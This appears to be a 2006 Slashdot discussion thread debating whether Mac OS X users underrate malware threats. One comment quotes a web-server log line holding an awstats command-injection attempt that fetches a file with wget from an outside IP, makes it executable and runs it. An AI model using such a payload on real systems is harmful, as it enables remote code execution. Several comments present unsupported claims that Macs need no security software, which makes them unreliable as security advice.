Bill Thompson is right, but there is a much, much larger problem that's out there: cell phones. Cell phones are always connected to a large network. There are billions of them, And very few cell phones run any kind of anti-viral or anti-trojan software.

Although Bill may be writing to ride on the coat tail's of Apple's recent success, the Macintosh can get infected by a virus or a trojan program. In fact, some of the earliest computer viruses in the wild were found on the Mac. The Mac virus problem isn't as large as the Windows virus problem, but that's because there are many more Windows machines intermingling out there.

Any networked device, from routers to mainframes, from Bluetooth devices to cell phones to the XBox 360, may be vulerable to malware. All need robust security.

Options for OS X (2, Informative)

sammy baby (14909) | more than 8 years ago | (#14481531)

...Is he right, and what actual products exist for OS X that would protect against infections?

My stock response: "The truth is, viruses just aren't a huge threat on the Mac right now. However, my religion precludes me from advising you to not buy anti-virus software."

It's not like you don't have options though. You can get anti-virus software from:
Symantec [symantec.com]
Sophos [sophos.com]
Intego [intego.com]
McAfee [mcafee.com] (Virex, included with a .Mac membership)
And, of course, there's always Clam AV [clamav.net], along with the ClamXav [markallan.co.uk] front end for OS X.

I'm sure there are some points.... (2, Informative)

Rick Zeman (15628) | more than 8 years ago | (#14481542)

...but architectural considerations need to be considered, too. There's no legacy baggage code from 1990 (a la WMF) to be worked around. Sure, we're smug, but that's because we live in today and not some theoretical tomorrow.

That being said, my Macs have Little Snitch installed. For those not lucky enough to be using a Mac, it's like Zone Alarm.

Submitters place annoying questions at the end... (5, Funny)

NitsujTPU (19263) | more than 8 years ago | (#14481553)

Is he right, and what actual products exist for OS X that would protect against infections?

Today, wild_berry was the billionth story submitter to place an annoying question at the end of his submission. Despite the pleas of nearly a million Slashdot users, wild_berry took part in the timeless tradition of Kindergarten Teachers and Coffee Talkers everywhere, and gave us a topic to discuss amongst ourselves.

What about YOU, what is your opinion of annoying questions at the end of postings? What do YOU think about them? Do YOU have any solutions to the problem?

Completeley useless article, no facts at all (4, Informative)

mstroeck (411799) | more than 8 years ago | (#14481558)

I don't know who the guy is, but the article is completely useless. There are absolutely no hard facts in there. Please point us to ONE SINGLE virus, keylogger, adware, or any type of malware at all before making ridiculous claims like the old and completely bogus "it's just because of low market share". It's just not true. I haven't come across anything dodgy so far and I've _actively_ looked for it. Nothing except some shell-script with a highly hypothetical threat. Also, keep in mind that OS X users tend to get a large percentage of their software from centralized sources like apple.com and VersionTracker, which wouldn't post or quickly pull any infected software. IF there was any kind of outbreak, it would be all over the Mac-web within an hour at the maximum.

Re:Completeley useless article, no facts at all (1)

NoSlack913 (627840) | more than 8 years ago | (#14481641)

There are absolutely no hard facts in there. Please point us to ONE SINGLE virus, keylogger, adware, or any type of malware at all before making ridiculous claims like the old and completely bogus "it's just because of low market share". It's just not true. I haven't come across anything dodgy so far and I've _actively_ looked for it.

First google Hit... http://www.cnn.com/2004/TECH/internet/04/09/apple. trojan/ [cnn.com]

so apparently you aren't looking that hard... If it was written by people then there are bugs and exploitations are possible. Deal.

Of course... (-1, Troll)

Shamashmuddamiq (588220) | more than 8 years ago | (#14481560)

Mac users are too smug about almost everything. If you look up "blissfully ignorant" in the dictionary, you should see a picture of a Mac user. There are a few Mac users (actually, just one) I know that aren't like that, but for the most part, this is my experience with them.

Not to mention that, let's admit it, Apple is just as evil as Microsoft, if not moreso. I hated Apple at one time, but then they released OS X, and I was all turned around. There was a time I was ready and willing to buy a Mac Mini. But I held off, and I'm glad I did. The more I know about Apple, the less I want to do with them. I'm in the embedded audio/home theater business, and the whole iPod/iTunes/DRM vendor-lock-in thing just makes me sick. How else could you have gotten a bunch of Microsoft-haters to swallow DRM so easily? If M$ had done the same thing, the Apple fanboys would have been crying "foul" from day one.

Mod me down. I've got karma to burn.

Migration (1)

Joebert (946227) | more than 8 years ago | (#14481582)

Sooner or later there will be quite a few people running spyware removers on their Macs thinking "Isn't this why I quit using Windows ?!"

It's always the people that "jump ship" that end up drowning out in the cold, remember that. ;)

Baloney (2)

liangzai (837960) | more than 8 years ago | (#14481587)

Looking at /var/log/httpd/access_log I typically find lines like these:

61.185.142.22 - - [15/Jan/2006:20:41:12 +0800] "GET /NULL.IDA?CC...
210.0.196.236 - - [16/Jan/2006:19:14:34 +0800] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd% 20%2ftmp%3bwget%20216%2e55%2e168%2e25%2fkillok%3bc hmod%20%2bx%20killok%3b%2e%2fkillok;echo%20YYY;ech o| HTTP/1.1" 404 293

Why would I bother about this? There never is and never was an attempt at hooking up to my machine. Not a single virus, worm, trojan horse or macro virus in fifteen years of time.

There was a time when I downloaded the latest and the greatest in antivirus, but those apps were never of any use. They just consume valuable cycles and memory. I was just fooled by commercial forces to believe that I too could be hurt.

IF there is a virus or similar attacking Mac OS X, it will be known in no-time by the entire community, because there are a few outlets that almost all Mac users tend to for information. IF, and when, that happens, I will worry a little bit. But until then I will just let you folks use your Windoze crap machines loaded with warring apps to combat the attacks on your machines.

Do you wear a bicycle helmet? You are much more likely to be killed in a bicycle accident than your Mac is likely to be hit by a malicious attack. So, do you wear a bicycle helmet!?

I'm a Mac user and... (1)

Thaidog (235587) | more than 8 years ago | (#14481597)

I have spyware detection programs, snort, firewall, litte snitch (network traffic filter), virus scanner make regular back ups.... etc. It's foolish to even step on to a computer... any and assume that you are safe. My personal opinion is those who keep blindly procaiming that Mac OS X is a security haven should be held accountable for their words.

Typical bull (0)

Anonymous Coward | more than 8 years ago | (#14481613)

I love these articles and the replies they have produced from the anti-Mac crowd. As expected, the one argument always seems to be something along the lines of - "The only reason Macs aren't riddled with viruses etc is because the virus writers haven't targeted them yet" Gee....that arguments been happening for a few years now and still, not *one* single script-kiddie or virus guru has taken the step towards big-time publicity by developing a virus that would take down OS X? Not one? They would get nothing but support from the PC community. The PC guys would love them! The only reason these nitwits are writing viruses is because they want to brag about it to their friends. Imagine if one of them writes one that brings the Mac community to its knees? Talk about bragging rights at the schoolyard then! But alas, the truth is, they can't do it. Or they would have by now. OS X is the only security needed on a Mac. Besides the built-in firewall. Oh, and if you're a teacher and own a Mac, don't be dumb enough to allow your idiot students access to your machine or they might do some harmless crap and misguidedly say "I told you so! Macs *are* vulnerable! Hardy har har!!!!" I'm a PC user at the moment but have spent time on linux and OS X. Anyone who would run anti-virus software on OS X is an idiot.

Safer vs. Safe. (3, Insightful)

jellomizer (103300) | more than 8 years ago | (#14481614)

If you are using Mac vs. Windows you are definatly safer. Even if you are using a windows system with all the greatest and most expensive security tools out there. First you have the OS Level of protection (which the extra windows security tools tend to fix some of), Wich prevents applicatons running as Root or Super User unless it notifies the user and they will need to retype in their password (Which could still be a problem, but at least the user would know what they did and when so they could possibly fix it), and Unlike windows and a lot of Linux Distros. It is out of the box with all outside ports closed.

But you can still put malware on a Mac. Just attach it to an other application and when they install it, it asks for a password and bang your malware has full access. Some of the new features shown at the Last Mac World scare me a little to. Like allowing people to email links when click opens up iPhoto etc... where they could be a flaw in the graphic renderer to cause a buffer overflow and run code.

The second level of protection is just the fact that a lot less people have a Mac then a PC. If you want to cause havic then you taget windows because the windows base is large enough to allow viruses and malware to spread. Apples are more dotted. And sending mac malwarer may not have the numbers to spread.

All in all I would feel safer using a Mac with a Raw connection to the internet. Vs. a Windows PC behind a well maintained network, with all the patches and secuirty tools. Because the chances are the Mac will catch on fire from a faulty fan, then get a security compremize (Without changing the origional out of the box setting)

Macs are not Targets. (5, Interesting)

Barzoo (761898) | more than 8 years ago | (#14481615)

You're not vulnerable if you're not a target. Macs are not targets. And I fix all computers, Windows, Linux, Macs. Mac people are no more or less smug than those other users. Most Windows people don't have a clue about firewalls, virii, trojans, or worms fyi. Computer users are all the same. They just want something that works. BTW I haven't had to remove a virus, trojan, or a worm from a Mac yet. I've done that for Windows machines all the time and make good money doing it. You do the math.

nVIR (2, Interesting)

xplenumx (703804) | more than 8 years ago | (#14481627)

"Mac users assume their safety in the face of trojans, worms, keyloggers and other malware."

I distinctly remember my first virus way when the computer was still a bit of a novelty and the 200MB disk was considered godly (I distinctly remember my Day saying that we'd never fill it up in our lifetime). When my family got our first Mac Plus, I thought I was in heaven - I could draw using MacDraw and write up reports, but most importantly I could play all sorts of cool games like Dark Castle and Dungeon of Doom. Of course it didn't take me long to figure out that my friends and I could swap games, stretching our very limited allowance. Everything was great, until one day I accidentally infected our computer with one of the nVIR viruses. That was an experience I'll never forget - my dad feared for his computer, I feared for my life. The computer survived, and so did I (barely), but it's safe to say that I've been paranoid about viruses ever since.

Yes but when my Mac does get a virus it will have (0)

Anonymous Coward | more than 8 years ago | (#14481645)

good user interface and it will be better integrated with my other applications. So there...

I look at it this way (1)

Psykechan (255694) | more than 8 years ago | (#14481648)

The Mac is not immune to viruses or spyware, it's just that they aren't that prevalent yet. I would say that OSX is resistant to malware simply by design.

The really big benefit to OSX (over Windows) is that if a user executes malware it does not infect the entire system by default. Sure, things can be done to destroy data or spy on the unfortunate user but the rest of the users on the system are spared of the issue and any potential tracking malware or botnet application is not running after the problematic user is logged off.

This is why I have no issue about letting my non security consious friends have an account on my systems. There is little that they can do to cause me problems. Should one of them get infected with a hypothetical malware then I can just recreate their account. No big deal.

True, social engineering will always break any software security model but it does no good if they are not administrators.

I wouldn't even consider letting them do the same thing with Windows even under a limited account on a completely patched system. There are just too many holes.

MAC MAC MAC MAC (-1, Troll)

copponex (13876) | more than 8 years ago | (#14481656)

I'm sorry, your story has been rejected because:

|x| No Steve Jobs!
|x| It has a benchmark showing G5s sucking Athlon wind (DEPRECATED)
|x| It has a benchmark showing Duo sucking Athlon wind (NEW)
|x| It's not a dupe about a Mac rumour.
|x| It is an advertisement for a new product that is NOT from Apple.
|x| DRM is bad on Macs? WHAT WHAT WHAT?

Seriously, fuckers! I've seen more relevant and non-Apple related news this past week on hardmac!

I've read SO many of these articles. (2, Interesting)

Biotech9 (704202) | more than 8 years ago | (#14481657)

There have been HUNDREDS of articles like this over the last few years, especially since Apple moved to OS X. And every time the tone is, that Mac users have no idea how dangerous computing is, and have too much trust in Apple and OS X to be inherently virus/malware/spyware/trojan proof.

The problem for me is, that I see nothing to shake that trust in OS X.

I switched to OS X machines after years of administrating a collection of around 100 PCs in two internet cafes, and 100 PCs running Windows being used by thousands of clueless users entails massive amounts of work and hardship to keep them virus/malware/spyware/trojan free. We had a few Mac machines, and all they ever needed was to have 'software update' run once in a while.

There's no point telling people that they have too much faith in OS X's powers to keep out the hackers and viruses, when there are STILL no viruses for Macs, still no malware apps, still no trojans, still no worms. What can they expect articles like this to make users do? Run anti-virus software everyday? What the hell would it be looking for?

Current vs. Future Problems (3, Insightful)

Erwos (553607) | more than 8 years ago | (#14481662)

Linux is a damned secure OS, at least as good as MacOS X. Yet, you find Linux sysadmins often talking about relatively paranoid security measures when talking about keeping their systems safe. Linux has a good security culture. (The same could be said for the BSDs.)

The issue, in my eyes, is not whether MacOS users are going to be immediately vulnerable to any virus outbreaks because they're not securing their computers properly - it's whether this whole "I use Macs, therefore, I am impervious" is fostering a culture of bad security practices in the Mac community. A good OS is only half the battle - you need to make sure you have good security practices, too, if you don't want to get owned.

-Erwos
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